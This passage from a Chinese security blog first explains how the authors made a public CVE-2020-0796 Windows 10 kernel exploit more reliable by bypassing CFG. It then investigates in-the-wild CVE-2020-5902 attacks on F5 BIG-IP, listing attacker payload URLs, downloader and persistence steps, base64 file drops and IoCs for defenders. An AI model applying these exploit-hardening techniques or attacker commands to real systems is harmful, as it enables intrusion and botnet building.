我们再次详细分析了导致MiFastLockLeafPageTable调用失败的原因,发现MiFastLockLeafPageTable函数中的分页表地址(即下图中的v12)可能会无效。

我们根据KVA Shadow缓解措施原理,猜测这是本次测试exp崩溃的根本原因。内核shellcode在调用API申请用户层内存时,由于KVA Shadow对于用户层和内核层的系统服务调用陷阱,如果IRQL等级不是PASSIVE_LEVEL,无法获取到正确的用户层映射地址。

解决问题

通过参考zerosum0x0文章中修正CVE-2019-0708 payload来绕过KVA Shadow的代码,但出于时间以及系统稳定性等多方面因素,我们暂时放弃了这种方法,转而尝试通过一种更简单和容易的方式来解决这个问题。

显而易见地,如果我们能够在内核shellcode中降低系统调用中的IRQL,将其调整为PASSIVE_LEVEL,就能够解决后续shellcode执行时由于用户态内存分配出现崩溃的问题。但在公开资料的查找过程中,我们并没有找到针对win10系统的IRQL修改方法。

于是,我们从崩溃本身出发,试图对这种情况进行改进。由于内核shellcode是从DISPATCH_LEVEL的IRQL开始执行的,调用内存分配等API时,可能因为分页内存的异常访问导致崩溃,于是我们尝试避免系统访问可能崩溃的分页内存。

在重新比对分析crash_B和成功执行的利用代码时,我们发现MiCommitVadCfgBits函数中会检查进程的CFG禁用标志是否开启(下图中的MiIsProcessCfgEnabled函数)。如果能够跳过CFG的处理机制,那么就可以避免系统在内存申请过程中处理CFG位图时对可能存在问题的分页内存的访问。

进一步对MiIsProcessCfgEnabled进行分析,该标志位在进程TEB中,可以通过GS寄存器访问和修改。

我们在内核shellcode调用zwAllocateVirtualMemory API之前修改CFG标志,就可以避免大部分崩溃情况(即B类型),顺利完成用户态内存的分配。需要一提的是,win10在内存申请时,大部分系统处理过程都是针对CFG的相关处理,导致B类型崩溃产生的次数在实际测试中占比达80%以上,所以我们没有考虑A类型崩溃的情况。

参考Google Researcher Bruce Dawson有关windows创建进程性能分析的文章 <O(n^2) in CreateProcess>

实际修改shellcode遇到的问题

在修改CFG标志位解决大部分内核shellcode崩溃的问题后,我们在实际测试中又发现,该exp无法执行用户层shellcode(即exp执行第三阶段)。经过分析发现,这是由于用户层shellcode会被用户层CFG检查机制阻断(参考:https://ricercasecurity.blogspot.com/2020/04/ill-ask-your-body-smbghost-pre-auth-rce.html)。CFG阻断可以分为两种情况:一是对用户层APC起始地址代码的调用;二是用户层shellcode中对创建线程API的调用。下图的代码就是针对第二种情况的阻断机制:只有当线程地址通过CFG检查时,才会跳转到指定的shellcode执行。

这里我们采用了zerosum0x0文章中的方式:在内核shellcode中,patch CFG检查函数(ldrpvalidateusercalltarget和ldrpdispatchusercalltarget),跳过CFG检查过程来达到目的。需要注意的是,在内核态修改用户态代码前,要修改cr0寄存器来关闭代码读写保护。

另外,在patch CFG检查函数时,使用相对偏移查找相应的函数地址。由于CVE-2020-0796只影响win10 1903和1909版本,因此这种方法是可行的。但如果是其他更通用的漏洞,还需要考虑一种更加合理的方式来寻找函数地址。

最终测试

我们在win10 1903(专业版/企业版)和win10 1909(专业版/企业版)中测试了代码。经过测试,修改后的exp代码执行成功率从不到20%上升到了80%以上。但我们的修改仍然是不完美的:

  1. 本文并没有解决漏洞利用阶段可能出现的问题。尽管chompie1337的漏洞利用阶段代码已经非常完善,但仍不是100%成功。考虑到漏洞利用阶段出现崩溃的概率非常低(在我们的实际测试中,出现概率低于10%),如果系统处于流畅运行,这种概率会更小,我们的exp仍然使用了chompie1337在漏洞利用阶段的代码。
  2. 在本文中,我们尝试解决了由CFG处理机制导致的崩溃情形(即类型B的情况),没有从根本上解决内核shellcode执行阶段的崩溃。在这个阶段,shellcode仍然可能导致系统崩溃出现蓝屏,但这种概率比较低,在我们的测试中没有超过20%。
  3. 在使用本文的方式成功执行用户态shellcode之后,系统处于一种不稳定状态。如果系统中有其他重要进程频繁进行API调用,系统大概率会崩溃;如果仅通过反弹的后台shell执行命令,系统会处在一种相对稳定的状态。我们认为,对渗透测试来说,改进后的exp已经基本能够满足需求。

其他方案

除本文讨论的内容外,还可以通过内核shellcode直接写文件到启动项的方式来执行用户态代码。从理论上讲,这种方式能够避免内核shellcode在申请用户层内存时产生崩溃的问题,但对于渗透测试场景而言,该方法需要等待目标重启主机,实时性并不高,本文不在此进行具体讨论。

总结

针对网络公开的CVE-2020-0796 exp在实际使用过程中会产生崩溃的问题,本文分享了一些方法来解决这些问题,以便满足实际在渗透测试等应用场景中的需求。尽管本文的方法不尽完美,但我们希望我们的研究工作能够为诸位安全同僚提供一些思路。我们也会在后续的工作当中,持续对此进行研究,力图找到一种更简单、通用的方式解决问题。

F5 RCE(CVE-2020-5902)在野攻击事件调查

By: gaoya
13 July 2020 at 09:26

F5 Networks官方在7月1日公布了BIG-IP系统的TMUI接口中存在一个严重的远程代码执行漏洞(CVE-2020-5902)。利用此漏洞的攻击层出不穷,我们对这些事件进行了总结,以期对近日来的事件进行完整阐述。

漏洞简述

该漏洞允许未授权的远程攻击者通过向漏洞页面发送特殊构造的数据包,在系统上执行任意系统命令、创建或删除文件、禁用服务等。

根据360安全大脑测绘云(QUAKE网络空间测绘系统)数据,截至2020年7月10日,全球至少有80000台存在此漏洞的资产,具体分布如下图所示:

CVE-2020-5902漏洞分布

通过对该漏洞活跃情况研判,得到其全球态势和漏洞生命周期:

从360安全大脑的全网视野里可以看出,在7月2日漏洞利用细节公布,7月4日开始传播后,7月6日全网受影响设备居于峰值,此后由于缓解措施发布实施,漏洞活跃状态逐步回落。

时间线

  • 2020-7-1:F5 Networks官方发布通告,缓解措施为在配置文件中添加以下内容:
<LocationMatch ".*\.\.;.*">
Redirect 404 /
</LocationMatch>
<LocationMatch ";">
Redirect 404 /
</LocationMatch>
  • 7.10日, F5官方再次更新通告,配置更新为:
<LocationMatch ";">
Redirect 404 /
</LocationMatch>
<LocationMatch "hsqldb">
Redirect 404 /
</LocationMatch>

漏洞攻击情报

根据NCC groups发布的报告,7月4日就有攻击者尝试使用该漏洞进行攻击,但攻击者数量较少;360安全大脑专家云的事件调查专家也在国内观测到,在exp公布前几个小时,已经存在利用twitter上公布的poc进行扫描的流量;完整功能的exp公布后,扫描流量也随即改变。

从exp公开发布起的5天内,360就已在国内捕获到超过2万次CVE-2020-5902的扫描请求,其中绝大部分为通过推特或其他渠道公开获取的PoC或exp以及metasploit exp。可以看出,该漏洞已经引发了大量关注。截止目前我们尚未观测到国内有相关资产已经遭受攻击

尽管绝大多数扫描或攻击行为并非由专业网络攻击者发起,但他们不会错过如此的“大好机会”。仅仅在exp公开(7月5日)后不到一天的时间内,国外安全研究员发现已经开始有攻击者成功地利用漏洞进行攻击。

攻击手段

根据我们的观察分析,目前攻击手段主要包括以下几种。

利用cve-2020-5902,下发脚本,下载远程payload执行

我们分析推测,恶意脚本通过fileSave.jsp接口上传到tmp目录,之后利用tmshCmd.jsp接口执行。从手法上来看,此类攻击极有可能是利用msf相关模块进行的。

  • Payload地址:http://217.12[.]199[.]179/b.sh

脚本下发时间:2020年7月6日

脚本内容

脚本功能

创建crontab(即linux系统的计划任务),从远程地址http://217.12.199[.]179/b.sh获取脚本并执行;该脚本为b.sh的复制,我们推测此任务是为后续脚本下发做准备。

  • Payload地址:http://45.77.28[.]70[:]80/inf5.sh

脚本下发时间:2020年7月6日

脚本内容

(图片来自NCC group)
inf5.sh

脚本功能

使用curl命令,从地址http://45.77.28[.]70[:]80/inf5.sh下载脚本执行。

inf5.sh是一个安装脚本,用来在/etc/init.d目录下创建文件network2,释放脚本/etc/.modules/.tmp,并将network2加入开机启动项,最后执行.tmp脚本;network2文件内容即为启动.tmp。

.tmp脚本是一个downloader,用来从目标地址下载demo.txt到/tmp/dvrHelper并执行。dvrHelper是开源的botnet Mirai修改的一个变种。

  • Payload地址:http://103.224.82[.]85[:]8000/zabbix

脚本下发时间:2020年7月6日

脚本内容

(图片来自NCC Group)

脚本功能

从地址http://103.224.82[.]85[:]8000/zabbix下载到/var/log/F5-logcheck,使用touch命令修改时间戳,将/var/log/F5-logcheck加入rc.local开机脚本中并执行。分析时,目标地址已不可用,但根据国外研究人员获取到的信息,该样本是一个go语言编写的agent和控制器GoMet。

利用cve-2020-5902,通过命令或脚本下发php webshell

除了下发脚本执行以外,有的攻击者选择上传webshell以便获取持续的权限。(详见 RIFT: F5 Networks K52145254: TMUI RCE vulnerability CVE-2020-5902 Intelligence

cve-2020-5902结合hsqldb Java反序列化漏洞执行命令

2020年7月7日,有研究人员发现hsqldb 中存在java反序列化漏洞,并结合该漏洞实现了一种新的利用方式。在此利用方式发现后的短时间内,有攻击者利用此方式发起了攻击,并且利用相似的方式绕过了F5 Networks官方通告中的缓解措施;而6小时后,才有研究人员公开宣布,缓解措施可被绕过。由此可见,在利用CVE-2020-5902进行攻击的人员中,不乏较高能力的攻击者。

攻击者关联

我们对网络上公布的攻击事件进行了进一步的分析。在直接利用cve-2020-5902下发的脚本和webshell中,我们认为其中至少三个(payload为inf5.sh和zabbix的脚本,以及bg_status.php)是来自同一攻击者/攻击组织

虽然两个脚本内容和功能完全不同,但我们在对inf5.sh脚本进行关联分析时,发现了一个新的脚本(dd76441fac6d42ecea1dcd9f695292d29928d718c34ce3a47f7a3ab00a50360c),该脚本在目标主机中释放了新的payload,并清除了上一阶段释放的文件,其中包括/var/log/F5-logchec*,/etc/init.d/network,/tmp/dvrHelper以及bg_status.php。

清除文件

另外,攻击者在释放新的payload时,使用了与创建webshell相同的手段,即”echo [base64 encoded content] | base64 –d > [file]”。因此,结合之前清除的文件名信息,如果该脚本确实来自攻击者,那么可以认为,这些不同的payload是由同一个攻击者在不同时间植入目标系统的。

base64解码释放payload

在对inf5.sh分析时,我们还关联到了另外的IP:45.249.92[.]59。该IP在5月初-6月间被使用;我们分析了相关样本和脚本后认为,这是在45.77.28[.]70之前被用于存放文件的服务器IP,现已关闭。

通过进一步的分析我们发现,该攻击者/攻击组织并非“单线程”攻击:他们还使用相同的手法,利用TOTOLINK路由器的远程代码执行漏洞对IoT设备进行攻击,相关payload同样位于服务器45.77.28[.]70上。

从这些行为来看,我们认为,这些攻击背后是一个攻击组织而非个人,主要通过漏洞利用方式入侵linux或IoT设备,目的即为构建僵尸网络以满足其利益需求。

小结

根据现有的攻击行为来看,攻击者发起的主要是无差别攻击,通过漏洞对目标系统实施控制,即试图将存在漏洞的系统作为其僵尸网络的一部分,以获取利益。还有一部分攻击者将webshell上传到存在漏洞的系统,来获取进一步的控制。

虽然我们暂未得知是否有更严重的攻击事件出现,但可以推测,攻击者能够通过漏洞上传任意文件、执行任意系统命令,那么,他们同时也具备了窃取敏感信息、文件加密勒索甚至破坏系统的能力。在cve-2020-5902影响如此广泛,并且引起众多攻击者/攻击组织关注的情况下,我们只能推测,这些事件的发生是迟早的,该漏洞的严重程度不可小觑。

尽管F5 Networks在其通告中给出了临时缓解措施并且在不断更新,我们仍然建议将系统版本升级至不受影响的版本(如15.1.0.4),以避免由于新的绕过技术出现导致现有的缓解措施失效,给网络系统带来不必要的损失。

IoCs

HASH
bfa96a2ddb39a5e81e32a275aa6fc134030279ddde6c116d41945142328465ab
dd76441fac6d42ecea1dcd9f695292d29928d718c34ce3a47f7a3ab00a50360c

IP
45.249.92.59
45.249.92.60

URL
http[:]//217.12.199.179/b.sh
http[:]//45.77.28.70:80/inf5.sh
http[:]//103.224.82.85:8000/zabbix

参考链接

[1] https://support.f5.com/csp/article/K52145254

[2] https://twitter.com/x4ce/status/1279790599793545216

[3] https://twitter.com/TeamAresSec/status/1280590730684256258

[4] https://research.nccgroup.com/2020/07/05/rift-f5-networks-k52145254-tmui-rce-vulnerability-cve-2020-5902-intelligence/

[5] https://twitter.com/joaomatosf/status/1279566951442976768

[6] https://twitter.com/buffaloverflow/status/1280258870942760963

[7] https://twitter.com/TeamAresSec/status/1280553293320781825

[8] https://twitter.com/bad_packets/status/1279611256547143680

❌
❌